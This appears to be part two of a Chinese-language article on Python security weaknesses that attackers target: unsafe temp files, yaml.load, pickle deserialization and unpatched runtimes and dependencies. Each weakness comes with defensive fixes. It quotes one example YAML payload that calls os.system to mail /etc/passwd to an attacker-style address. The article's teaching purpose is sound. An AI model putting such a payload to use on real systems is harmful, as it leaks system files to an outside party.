带你认识Python中黑客喜欢攻击的10个安全漏洞以及应对方法( 二 )


如果调用了不正确的方法,Python的最新版本将发出运行时警告 。
解决办法:
如果需要生成临时文件,请使用tempfile模块并使用mkstemp 。
 
使用yaml.load 
这个例子可以在流行的Python项目Ansible中找到:
https://talosintelligence.com/reports/TALOS-2017-0305
您可以提供Ansible Vault,该值作为(有效的)YAML 。它使用文件中提供的参数调用os.system() 。
!!python/object/Apply:os.system ["cat /etc/passwd | mail me@hack.c"]因此,从用户提供的值有效地加载YAML文件会让您很容易受到攻击 。
解决办法:
使用yaml.safe_load 。
 
Pickles反序列化pickle数据和YAML一样糟糕 。Python类可以声明一个名为__reduce__的神奇方法,该方法返回一个字符串,或者一个元组,该元组具有可调用的参数,在pickle时调用这些参数 。攻击者可以使用它来包含对其中一个子进程模块的引用,以便在主机上运行任意命令 。
解决办法:
永远不要从不可信或未经身份验证的源解除数据pickle 。而是使用另一种序列化模式,比如JSON 。
 
使用系统Python运行时而不打补丁大多数POSIX系统都附带了Python 2的一个版本 。通常是旧的 。因为“Python”,即CPython是用C写的,所以有时候Python解释器本身就有漏洞 。C语言中常见的安全问题与内存分配有关,因此缓冲区溢出错误 。
多年来,CPython有许多溢出或溢出漏洞,每一个都在后续的版本中得到了修补和修复 。所以你是安全的 。也就是说,如果你修补你的运行时 。
 
解决办法:
为您的产品应用程序安装最新版本的Python,并对其进行修补!
 
没有修补您的依赖项与不修补您的运行时类似,您还需要定期修补您的依赖项 。我发现在包中“固定”来自PyPi的Python包版本的做法很可怕 。这个想法是“这些是可行的版本”,所以每个人都不去管它 。
当存在于应用程序使用的包中时,上述代码中的所有漏洞都同样重要 。这些包的开发人员会修复安全问题 。所有的时间 。
 
解决办法:
使用PyUp这样的服务 。io检查更新,提出拉/合并请求到您的应用程序,并运行您的测试,以保持包的最新 。
使用InSpec之类的工具来验证在生产环境中安装的版本,并确保修补了最小版本或版本范围 。




推荐阅读